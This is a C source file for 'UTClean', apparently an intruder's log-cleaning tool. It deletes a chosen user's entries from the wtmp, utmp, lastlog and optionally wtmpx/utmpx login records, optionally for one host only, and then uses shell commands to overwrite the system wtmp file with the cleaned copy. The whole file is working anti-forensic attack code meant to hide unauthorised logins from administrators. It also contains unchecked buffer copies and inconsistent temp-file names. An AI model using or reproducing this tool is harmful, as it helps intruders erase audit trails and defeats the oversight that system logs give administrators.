/*
UTClean.c - cleans wtmp/wtmpx/utmp/utmpx/lastlog
Usage: utclean <username> <fixthings?> [hostname]
Written by undrtaker (undtaker@xxx.xxxxxxx.xxx.xx) - drop me a line
* * * hostname only affects wtmp/wtmpx (would u like it to utmp?)
*/

#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
#include <stdio.h>

#define LASTLOG  /* we always clean wtmp/utmp. Lastlog and ?tmpx, up to u. */
/* #define WTMPX */

#ifdef LASTLOG
	#include <lastlog.h>
#endif
#ifdef WTMPX
	#include <utmpx.h>
#endif
main(argc, argv)
    int     argc;
    char    *argv[];
{
#ifdef WTMPX
	struct utmpx utx;
#endif
	struct lastlog l;
	int entries = 0, removed = 0, done = 0, size, onlyhost;
	struct utmp ut;
	int fp=-1,fd=-1;
	char username[10], host[100];
	if ( (argc != 3) && (argc != 4) ) {
		fprintf(stderr,"usage: %s <username> <fixthings> [hostname]\n",argv[0]);
		exit(2);
	}
	size = sizeof(ut);
	strcpy(username,argv[1]);
	if(argc==4){ strcpy(host, argv[3]); onlyhost=1; }
	else onlyhost = 0;
	fp = open("/var/adm/wtmp",O_RDONLY);
	fd = open("wtmp.tmp",O_WRONLY|O_CREAT);
	if  (fp < 0){ perror("wtmp"); close(fd); }
	else if (fd < 0){ perror("wtmp.tmp"); close(fp); }
	else {
		while (read(fp,&ut,size)==size) {
			if ( (strncmp(ut.ut_name,username,strlen(username))) 
				|| (onlyhost && (!strstr(ut.ut_host,host))) )
				write(fd,&ut,size);
			else removed++;
			entries++;
		}
		printf("\nwtmp: %i entries removed (total: %i)",
			 removed, entries);
		close(fp);
		close(fd);
	}
	entries = removed = 0;
	size = sizeof(struct utmp);
	fd = open("/etc/utmp", O_RDWR);
	if (fd < 0) perror("utmp");
	else {
		while (read(fd, &ut, size) == size) {
			if (!strncmp(ut.ut_user, username, strlen(username))) {
				removed++;
				memset(&ut, 0, size);
				lseek(fd, -1*size, SEEK_CUR);
				write(fd, &ut, size);
			}
			entries++;
		}
		close(fd);
		printf("\nutmp: %i entries removed. (total: %i)",
			removed, entries);
	}

#ifdef LASTLOG
	entries = removed = 0;
	size = sizeof(struct lastlog);
	fd = open("/var/adm/lastlog", O_RDWR);
	if (fd < 0) perror("lastlog");
	else {
		lseek(fd, size*getuid(), SEEK_SET);
		read(fd, &l, size);
		l.ll_time = 0;
		strncpy(l.ll_line, "ttyq2 ", 5);
		gethostname(l.ll_host, 16);
		lseek(fd, size*getuid(), SEEK_SET);
		write(fd, &l, size);
		close(fd);
		printf("\nlastlog: fixed");
	}
#endif
#ifdef WTMPX
	size = sizeof(utx);
        fp = open("/var/adm/wtmpx",O_RDONLY);
        fd = open("wtmpx.tmp",O_WRONLY|O_CREAT);
        if  (fp < 0){ perror("wtmpx"); close(fd); }
        else if (fd < 0){ perror("wtmpx.tmp"); close(fp); }
        else {
                while (read(fp,&utx,size)==size) {
                        if( (strncmp(utx.ut_name,username,strlen(username)))
			    || (onlyhost && (!strstr(ut.ut_host,host))) )
                                write(fd,&utx,size);
                        else removed++;
                        entries++;
                }
                printf("\nwtmpx: %i entries removed (total: %i)",
                         removed, entries);
                close(fp);
                close(fd);
        }
        entries = removed = 0;
        fd = open("/etc/utmpx", O_RDWR);
        if (fd < 0) perror("utmpx");
        else {
                while (read(fd, &utx, size) == size) {
                        if (!strncmp(utx.ut_user, username, strlen(username))) {
                                removed++;
                                memset(&utx, 0, size);
                                lseek(fd, -1*size, SEEK_CUR);
                                write(fd, &utx, size);
                        }
                        entries++;
                }
                close(fd);
                printf("\nutmpx: %i entries removed. (total: %i)",
                        removed, entries);
        }

#endif
	if(argv[2][0] == 'y'){
		system("ls -la /var/adm/wtmp* ; /bin/cp -v ./wtmp.tmp /var/adm/wtmp ; rm -v ./wtmp.tmp");
		#ifdef WTMPX
			system("/bin/cp -v ./wtmpX.tmp /var/adm/wtmpx ; rm -v /wtmpX.tmp");
		#endif
		system("ls -la /var/adm/wtmp*");
		printf("\nfixthings: done.");
	}
	printf("\n\n...that's it. peace man :)\n\n");
}

